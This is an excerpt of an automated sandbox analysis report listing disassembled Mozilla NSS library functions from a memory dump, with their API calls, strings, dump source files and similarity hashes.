PORT_NewArena_Util.NSS3(00000800), ref: 6CE84DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE84E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE84E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE84E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE84E85
DER_Encode_Util.NSS3(?,?,6CFD05A4,00000000), ref: 6CE84EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE84F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE84F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE84F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE84F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE84F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE84FC8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: d015d7ea5b95e9177ff2bcb15858abee7e8499e1d1883e3a7824ecdd16d1057e
Instruction ID: d6ef00a6f9ccd5c612a6c9beb1d5df4f2fc7be1c5ef0ae876e3a194228984319
Opcode Fuzzy Hash: d015d7ea5b95e9177ff2bcb15858abee7e8499e1d1883e3a7824ecdd16d1057e
Instruction Fuzzy Hash: 5981AD71A09301AFE701CF68D851B5AB7F8EB85308F25892EF95CDB740E731E9058B92

Function 6CEC5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CEC5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CEC5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CEC5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CEC5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CEC5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5E18
TlsGetValue.KERNEL32 ref: 6CEC5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CEC5E72
PR_Unlock.NSS3(?), ref: 6CEC5E8B

Part of subcall function 6CEBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEBF854
Part of subcall function 6CEBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEBF868
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEBF882
Part of subcall function 6CEBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEBF889
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEBF8A4
Part of subcall function 6CEBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEBF8AB
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEBF8C9
Part of subcall function 6CEBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEBF8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CEC5D3D
d, xrefs: 6CEC5C36

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 74ed2d5426bf59b1629abbfab00f30b28e6d73859b9fb2e2ecf5ad5392404a69
Instruction ID: 559ec0e163ac734e627f1bc2e3bbe384eb14ba70a513eada3b9390685a66b7fe
Opcode Fuzzy Hash: 74ed2d5426bf59b1629abbfab00f30b28e6d73859b9fb2e2ecf5ad5392404a69
Instruction Fuzzy Hash: D671D3B5F062019BEB009F24DE45BAB3775AF4131CF340439E8299AB42EB36E915D793

Function 6CEB8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CEB9582), ref: 6CEB8F5B

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CEB8F6A

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEB8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CEB8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF9D820,6CEB9576), ref: 6CEB8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CEB901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CEB903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CEB90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CEB90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CEB90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEB912D
free.MOZGLUE(00000000), ref: 6CEB9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CEB9145

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0835681762ce08e2e60761d6895dfbd9a88932bd46c7bb788762492747562d6d
Instruction ID: 26768234ea40bc4eae484bcf2704f0d81186c1b15b7ae3955ed82b14e8e9060d
Opcode Fuzzy Hash: 0835681762ce08e2e60761d6895dfbd9a88932bd46c7bb788762492747562d6d
Instruction Fuzzy Hash: AD51F5B2A042009BEB00CF28DD417AB77F8EF95318F254529E858E7741E735E945CBD2

Function 6CF8C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CF8C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8C8DA
malloc.MOZGLUE(00000001), ref: 6CF8C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF8C8F8
PR_NewLock.NSS3 ref: 6CF8C909
PR_NewCondVar.NSS3(00000000), ref: 6CF8C918
PR_NewCondVar.NSS3(00000000), ref: 6CF8C92A

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

free.MOZGLUE(00000000), ref: 6CF8C947

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 69f8fa5f788469f671ef39f4820b6865571a1b6be1964996c6eed560fde361d7
Instruction ID: fc5a1c5e278ede4c921414e061532608f5b3dda3ab4e41af42c1af2bdda94ba9
Opcode Fuzzy Hash: 69f8fa5f788469f671ef39f4820b6865571a1b6be1964996c6eed560fde361d7
Instruction Fuzzy Hash: 2621B9B1F017019BEB50BF799C0965B7AB8AF05259F140539E85BC3B40EB31E618CBA2

Function 6CE6AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE6AF47

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

FreeLibrary.KERNEL32(?), ref: 6CE6AF6D
free.MOZGLUE(?), ref: 6CE6AFA4
free.MOZGLUE(?), ref: 6CE6AFAA
PR_ExitMonitor.NSS3 ref: 6CE6AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE6AFF5
PR_ExitMonitor.NSS3 ref: 6CE6B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE6B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE6B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE6B03C

Strings

%s decr => %d, xrefs: 6CE6AFF0
Unloaded library %s, xrefs: 6CE6B023

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 328b607808e89c28ee0b745dc99edc12d3207df665551be45dd6d957ec7e3e22
Instruction ID: a9644749b2fff1d6f230ca676709449d002109ac404e7d0a6152ea02a838f351
Opcode Fuzzy Hash: 328b607808e89c28ee0b745dc99edc12d3207df665551be45dd6d957ec7e3e22
Instruction Fuzzy Hash: FB31E5B5FE4121ABE7419E66DC45B16B7B5EF0531CB288125E80587F00E722E815C7E2

Function 6CEB6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEB781D,00000000,6CEABE2C,?,6CEB6B1D,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEB781D,?,6CEABE2C,?), ref: 6CEB6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEB6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEB6C96

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEB6CAA

Strings

dbm, xrefs: 6CEB6CA4
dbm:, xrefs: 6CEB6C3A
extern:, xrefs: 6CEB6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6CEB6C91
rdb:, xrefs: 6CEB6C69
sql:, xrefs: 6CEB6C52

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 36fe0f65b0e1523c2fa6cab29e77a2832f1f4732cbe547c55d7d88723ab9fa0c
Instruction ID: 6c0e643a684ab40c464cdd1445ba77eaac8bc93a015ef6fce6b3235a20697c31
Opcode Fuzzy Hash: 36fe0f65b0e1523c2fa6cab29e77a2832f1f4732cbe547c55d7d88723ab9fa0c
Instruction Fuzzy Hash: CE01A7A1B0330577E94027BA9E59F67356C9F4215CF380432FE04F1A41EBB3EA1544B9

Function 6CEC4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE878F8), ref: 6CEC4E6D

Part of subcall function 6CE609E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE606A2,00000000,?), ref: 6CE609F8
Part of subcall function 6CE609E0: malloc.MOZGLUE(0000001F), ref: 6CE60A18
Part of subcall function 6CE609E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE60A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE878F8), ref: 6CEC4ED9

Part of subcall function 6CEB5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CEB7703,?,00000000,00000000), ref: 6CEB5942
Part of subcall function 6CEB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CEB7703), ref: 6CEB5954
Part of subcall function 6CEB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB596A
Part of subcall function 6CEB5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB5984
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CEB5999
Part of subcall function 6CEB5920: free.MOZGLUE(00000000), ref: 6CEB59BA
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CEB59D3
Part of subcall function 6CEB5920: free.MOZGLUE(00000000), ref: 6CEB59F5
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CEB5A0A
Part of subcall function 6CEB5920: free.MOZGLUE(00000000), ref: 6CEB5A2E
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CEB5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4EB3

Part of subcall function 6CEC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEC4EB8,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC484C
Part of subcall function 6CEC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEC4EB8,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC486D
Part of subcall function 6CEC4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CEC4EB8,?), ref: 6CEC4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4EC0

Part of subcall function 6CEC4470: TlsGetValue.KERNEL32(00000000,?,6CE87296,00000000), ref: 6CEC4487
Part of subcall function 6CEC4470: EnterCriticalSection.KERNEL32(?,?,?,6CE87296,00000000), ref: 6CEC44A0
Part of subcall function 6CEC4470: PR_Unlock.NSS3(?,?,?,?,6CE87296,00000000), ref: 6CEC44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF9DCB0,00000000), ref: 6CEC4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CEC501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC506B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 25a4f1a83ba2249dfecbe1653dc1c01a60e9b3832dce48613a7fba2a96881fd7
Instruction ID: 7336f699fe004bdc5023cf2005535b1392079f37038f2c5165e9b8ef416e87bb
Opcode Fuzzy Hash: 25a4f1a83ba2249dfecbe1653dc1c01a60e9b3832dce48613a7fba2a96881fd7
Instruction Fuzzy Hash: BC51E3B5E012419BDB119F24EE026AA76B4EF0631DF24053AEC2696B12FB31E915C6D3

Function 6CE6ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6ACE2
malloc.MOZGLUE(00000001), ref: 6CE6ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE6AD02
TlsGetValue.KERNEL32 ref: 6CE6AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE6AD8C
PR_Unlock.NSS3 ref: 6CE6ADC0
free.MOZGLUE(00000000), ref: 6CE6AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE6AE58
free.MOZGLUE(00000000), ref: 6CE6AE69
free.MOZGLUE(?), ref: 6CE6AE78
PR_Unlock.NSS3 ref: 6CE6AE8C
free.MOZGLUE(?), ref: 6CE6AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6AEC7

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: ddff63e8c1fbecdee1fe2dc6917b08ed97ec4361827ea0c2b46942312023713a
Instruction ID: f51b34fc9cdcdb2ff811a243afacc07e515dc9f52c64821f9272eb140890a5a9
Opcode Fuzzy Hash: ddff63e8c1fbecdee1fe2dc6917b08ed97ec4361827ea0c2b46942312023713a
Instruction Fuzzy Hash: 7151AFB1EA11259BDF40DFAAD8457AF7774BB0635CF244025E815A3F00D331AA45CBD2

Function 6CF44C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF44CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44CFD
sqlite3_value_text16.NSS3(?), ref: 6CF44D44

Strings

no more rows available, xrefs: 6CF44D2E
out of memory, xrefs: 6CF44C78, 6CF44C9E
another row available, xrefs: 6CF44D20
API call with %s database connection pointer, xrefs: 6CF44CF6
invalid, xrefs: 6CF44CF1
unknown error, xrefs: 6CF44D56
bad parameter or other API misuse, xrefs: 6CF44D05
abort due to ROLLBACK, xrefs: 6CF44D27, 6CF44D33

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 1d8c317c665b49e8aec0cb9a00ca5295921dfd0f55c049f4655286e4bc4b7c04
Instruction ID: 962db6d93a3381e83aad381c0acb3109d19b9c8a4b173ee1c0104924ee522842
Opcode Fuzzy Hash: 1d8c317c665b49e8aec0cb9a00ca5295921dfd0f55c049f4655286e4bc4b7c04
Instruction Fuzzy Hash: 9A316C73E45851ABE7084E24A8017E6BF717782318F1DC129D9247BE57CF25AC2683E2

Function 6CEA2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CEA2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA2E33

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEA2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEA2E81

Strings

hSession = 0x%x, xrefs: 6CEA2E0E, 6CEA2E1E
(CK_INVALID_HANDLE), xrefs: 6CEA2E2C
C_InitPIN, xrefs: 6CEA2DF1
ulPinLen = %d, xrefs: 6CEA2E7C
pPin = 0x%p, xrefs: 6CEA2E63

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 30d6c26996146cb8774152036e3e31dfdbe3bf8de418985a70d851c12b5452a0
